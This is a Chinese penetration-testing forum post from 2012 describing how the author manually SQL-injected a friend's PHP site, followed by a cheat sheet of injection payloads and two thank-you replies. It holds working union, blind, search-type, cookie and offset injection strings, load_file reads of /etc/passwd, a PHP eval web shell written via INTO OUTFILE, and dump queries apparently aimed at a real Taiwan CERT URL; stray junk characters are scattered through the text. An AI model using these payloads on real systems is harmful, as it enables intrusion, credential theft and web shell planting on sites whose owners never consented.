中国网络渗透测试联盟

标题: 手工注入拿下一站 [打印本页]

作者: admin    时间: 2012-9-23 14:47
标题: 手工注入拿下一站
我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~$ Q# T1 @( X* [5 W  e
让我看看,既然人家开口了,我也不好拒绝,那就看看吧?. l' ]) t! G* N/ n
我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。
+ q% k! d/ `- l* k7 I3 q如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)
% [( m  J3 j7 [7 G7 i1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)% C8 i2 g, ]% g" c
这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:
2 r3 l1 ]$ |' v5 @Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
6 {, Z! T7 s* _  ]+ w, {/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入# L; R3 _$ N* m/ C/ x
                         * F" |" M/ `9 i9 I# B  _
2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,
$ m3 o" |; u4 L, C, n  D# E4 {3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3   ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意2 A1 ~8 ^! b4 S6 M. k$ N
4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息7 g' _* i! U8 f. K) c
5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。
, I/ d. j9 \: ]# R5 P8 s; n; ?有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,
# P! z; J" s  Z( X2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。
% S! N8 Q. S( J+ q4 a. l3 s: c我就用的是第二个思路,
2 z" U& s; Y. J' _7 m% ]3 |提交and 1=2 union select 1,2,3,4,table_name,6,7,8  from information_schema.tables where table_schema=database() limit 0,1--  ) @, M  i$ O5 h% E" n9 @
6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,. M1 j1 c- g* R  t
提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--' V' |* Z" u& ~/ z0 f
注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。' W" D/ m) k& u/ p
7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????
9 I5 j) |4 P  V$ K( J是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....( l2 Y* z' y9 f& g
提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --
! S& F! v0 U! h5 s4 S' ~然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,
5 `; v' Q+ F' d2 b0 ~调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......
) q/ E  m) v6 l& L7 p3 j9 I" K. d下面是一些很普遍注入方式资料:1 [- k) d, {4 j& i5 m4 f1 E
注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='
' Y' n0 Y$ b8 a$ b* R拆半法
% ]1 j5 @' z) ]$ P0 z0 y######################################
) `/ G# q4 n6 sand exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。0 z& r! T: P. j. _/ v2 E6 J5 O
and exists (select * from admin)3 Y0 i  J) \; @
and exists(select id from admin)5 W) b+ W. K) l8 P: ?2 p
and exists(select id from admin where id=1)& o' X( A; h6 B" E
and exists(select id from admin where id>1) # @. k+ a# B# i! a# b! e1 f
然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围 , }* J7 |; ]! m
and exists (select username from admin)
& {2 ], E: J5 f1 U1 w) D& [and exists (select password from admin). U0 o. @" w! T. T
and exists (select id from admin where len(username)<10 and id=1). J  c" ^5 z8 j5 v
and exists (select id from admin where len(username)>5 and id=1)
! ^2 z- P' a& |. \9 x5 Yand exists (select id from admin where len(username)=6 and id=1)
: a" ]% r/ v6 d: |; O( land exists (select id from admin where len(password)<10 and id=1)
: M7 c! c: C8 H" K# H/ x  band exists (select id from admin where len(password)>5 and id=1)! E$ i1 n* s6 E5 I5 B9 Q+ h
and exists (select id from admin where len(password)=7 and id=1)
, n5 L. Z4 N- V" b9 `( u( [and (select top 1 asc(mid(username,1,1)) from admin)=97( l. R, p- E4 d
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。
' }: A  i' m8 z) x猜第二位把username,1,1改成username,2,1就可以了。
( P  b1 J6 i1 k! ?+ O# E! _( |8 |猜密码把username改成password就OK了
6 G* Y. }4 O  E. E% A2 M6 [##################################################9 [+ |! m* A1 Y6 d0 M3 G* \
搜索型注入
; x8 ^7 M; x: A# o4 F+ \: h##################################
( F3 }; y# @- V0 d3 g- B" Z. p%' and 1=1 and '%'='7 b% D# c% h) M1 [3 F
%' and exists (select * from admin) and '%'='
& _& A  Q4 C/ |& i) }9 H% P) s%' and exists(select id from admin where id=1) and '%'=': Q8 R' M' T) ~! E' E+ f( h
%' and exists (select id from admin where len(username)<10 and id=1) and '%'='
; @) I4 y; S, M; Z%' and exists (select id from admin where len(password)=7 and id=1) and '%'='
- F' t5 Y- R+ d2 M3 |%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='
/ T3 U* }* P3 e1 G( q这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='
$ w/ e! V6 S3 M& E6 R: {对于MSSQL数据库,后面可以吧 and '%'='换成--
, [: r* p5 h  s还有一点搜索型注入也可以使用union语句。* O& Z1 T$ }$ D7 l% u& \* P2 r
########################################################
1 \: F$ x: s! O. g( I- v3 g联合查询。
) o% f$ I- ?, u7 H9 Z# O8 w#####################################
+ Q: m; {: Z8 `/ D" Torder by 10
7 ^* J- S' Y/ ^+ I% w+ Tand 1=2 union select 1,2,3,4,5,6,7,8,9,10
: j! ]" c6 y* q. S% Y( j" tand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin
5 c0 c+ [9 y' {5 \7 I% o3 C9 W) [- oand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1: b" W! H/ U$ W0 q. {
很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)
" }& b, C& o% H- Q: U) e6 A/ P###################################3 M" q# Y" N: f/ l2 P6 x4 ~/ `1 w
cookie注入" D, M# A* T5 i; e
###############################9 q' ^, {# L1 c) l- L  C) y
http://www.******.com/shownews.asp?id=127
6 Y) Y/ a; [' l  `; }; rhttp://www.******.com/shownews.asp
# \! }9 u  E5 S( T6 ?. Calert(="id="+escape("127"));# x+ W( q5 u& u$ a1 k3 H4 V# T
alert(="id="+escape("127 and 1=1"));# n# S% n+ c+ g$ |! I
alert(="id="+escape("127 order by 10"));
1 {' O; t+ m+ W: L. G9 |alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));- [( s; H. a5 a/ Y2 n: R
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));
7 L$ |: h8 P3 y. d! d这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。5 l6 e! h# h  U: t0 ~& r0 Y3 w2 A
###################################) S5 N8 d% Y# F
偏移注入
5 `5 A# a  [* l: J% m+ }( m###########################################################
! _5 k4 z0 i1 M0 lunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin* @% y, ~5 W# `0 k6 _9 H9 Q2 {
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin; n2 m- H9 U; ~  P2 G
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)- o5 \; E0 F( g# r1 c4 u
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)
6 {% l, B8 W- k3 v% _$ Tunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
9 q( q  i6 g- `) b0 j/ T) F& k7 Vunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)% ^9 d( T: ]8 w5 z4 A
union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on
: F# V6 ?' V' Ga.id=d.id)
  X5 A: e1 n0 band 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)! z! J& k. p2 _$ H  g
and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id) " V8 ?( `% H+ O/ [
  . d: [" P1 l* S$ H
============================================================================================================
; @: q5 P3 @1 {1.判断版本
6 K. U' r) g) G* E% Nand ord(mid(version(),1,1))>51
" n6 i  I5 E6 [* X' |" m1 ^( U% _8 {返回正常,说明大于4.0版本,支持ounion查询* |9 i9 Y3 r( k/ }5 m5 J0 Y
2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解2 h' _4 ]7 }$ p$ e2 B
and 2=4 union select 1,2,3,4,5,6,7,8,9--
0 d$ I6 s. n7 W5 ~& ?) K3.查看数据库版本及当前用户,
2 ]: e+ B) N! F# g) O5 i5 ^and 2=4 union select 1,user(),version(),4,5,6,7,8,9--& C" m8 y' i3 O& m" l
数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,
1 p  S) Z; w; X* C( B* y1 E& @4.判断有没有写权限
! c, k; F* x0 ]9 ?. land (select count(*) from MySQL.user)>0--
( Q+ P5 D* {6 N6 n7 n" D5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1! e' G1 o. k, A: G# b0 ?- d
用不了这个命令,就学习土耳其黑客手法,如下
* ]7 }0 w3 |3 @* ^and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
8 ]" g4 p+ q* k6.爆表,爆库  E, r$ `5 m" P  U
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--
6 r, M7 r4 @, H* {8 \" B7.爆列名,爆表( W  V5 s4 ~* C& |
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--$ O; p4 Q3 |' u2 C1 V: _5 o
8.查询字段数,直接用limit N,1去查询,直接N到报错为止。8 H" m! q, w& Q. X3 K: h- h& |3 m
and+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--- u0 k1 F: i) v" @
9.爆字段内容" {0 ?! J( u6 b3 l* y/ ?. c2 q
and+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--3 N" G8 H$ ^; C  m& {& O) o
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--
作者: xiancda    时间: 2012-9-24 21:40
非常好的归纳。坐下慢慢看~
作者: wuyu    时间: 2012-9-25 18:53
谢谢分享,学习思路啊




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2